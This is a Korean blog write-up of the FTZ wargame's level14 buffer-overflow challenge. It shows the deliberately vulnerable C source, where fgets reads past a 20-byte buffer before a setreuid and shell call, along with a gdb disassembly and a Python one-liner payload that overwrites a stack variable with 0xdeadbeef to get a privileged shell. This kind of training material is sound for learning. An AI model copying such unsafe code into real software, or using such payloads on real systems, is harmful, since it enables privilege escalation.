티스토리 뷰
level14도 bof 문제이다.
힌트는 다음과 같다.
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.
#include <stdio.h>
#include <unistd.h>
main()
{ int crap;
int check;
char buf[20];
fgets(buf,45,stdin);
if (check==0xdeadbeef)
{
setreuid(3095,3095);
system("/bin/sh");
}
}
대충 코드를 보면 buf의 공간은 20이지만 fgets로 45만큼 받아서 buf에 저장한다.
그리고 check가 0xdeadbeef 와 일치하면 level15의 쉘을 따낼 수 있다.
crap은 어디서 쓰이는 걸까 궁그미
(gdb) disas main
Dump of assembler code for function main:
0x08048490 <main+0>: push ebp
0x08048491 <main+1>: mov ebp,esp
0x08048493 <main+3>: sub esp,0x38
0x08048496 <main+6>: sub esp,0x4
0x08048499 <main+9>: push ds:0x8049664
0x0804849f <main+15>: push 0x2d -> 45
0x080484a1 <main+17>: lea eax,[ebp-56]
0x080484a4 <main+20>: push eax
0x080484a5 <main+21>: call 0x8048360 <fgets>
0x080484aa <main+26>: add esp,0x10 -> 16
0x080484ad <main+29>: cmp DWORD PTR [ebp-16],0xdeadbeef
0x080484b4 <main+36>: jne 0x80484db <main+75>
0x080484b6 <main+38>: sub esp,0x8
0x080484b9 <main+41>: push 0xc17
0x080484be <main+46>: push 0xc17
0x080484c3 <main+51>: call 0x8048380 <setreuid>
0x080484c8 <main+56>: add esp,0x10
0x080484cb <main+59>: sub esp,0xc
0x080484ce <main+62>: push 0x8048548
0x080484d3 <main+67>: call 0x8048340 <system>
0x080484d8 <main+72>: add esp,0x10
0x080484db <main+75>: leave
0x080484dc <main+76>: ret
0x080484dd <main+77>: lea esi,[esi]
End of assembler dump.
(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|./attackme
이런식으로 A 45개 + deadbeef 등등 여러 시도를 했었는데 deadbeef값이 ebp-16에 제대로 들어가지 않았다.
거의다 풀었었는데 cat이랑 | 로 했을때 입력을 더 받길래 틀린거구나 했었는데
이미 쉘이 따져있는 상태였고 그 이후로 삽질 삽질 삽질하다가 알아냈다..ㅠㅠ
Level15 Password is "guess what".
'System > FTZ' 카테고리의 다른 글
[FTZ] level16 (0) | 2017.09.28 |
---|---|
[FTZ] level15 (0) | 2017.09.27 |
[FTZ] level13 (3) | 2017.09.21 |
[FTZ] level12 (0) | 2017.09.20 |
[FTZ] level11 (0) | 2017.09.18 |
- Total
- Today
- Yesterday
- c언어
- BOF
- lord of sqlinjection
- 0xdeadbeef
- wargame.kr
- ftz
- 명령어
- 자바
- my-pass
- pwnable
- 우분투
- Python
- java
- attackme
- wargame
- 웹해킹
- pwnable.kr
- cobolt
- ubuntu
- Los
- MySQL
- webhacking.kr
- 1번
- 설치
- Lord of SQL Injection
- C
- WebHacking
- 파이썬
- lob
- 워게임
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |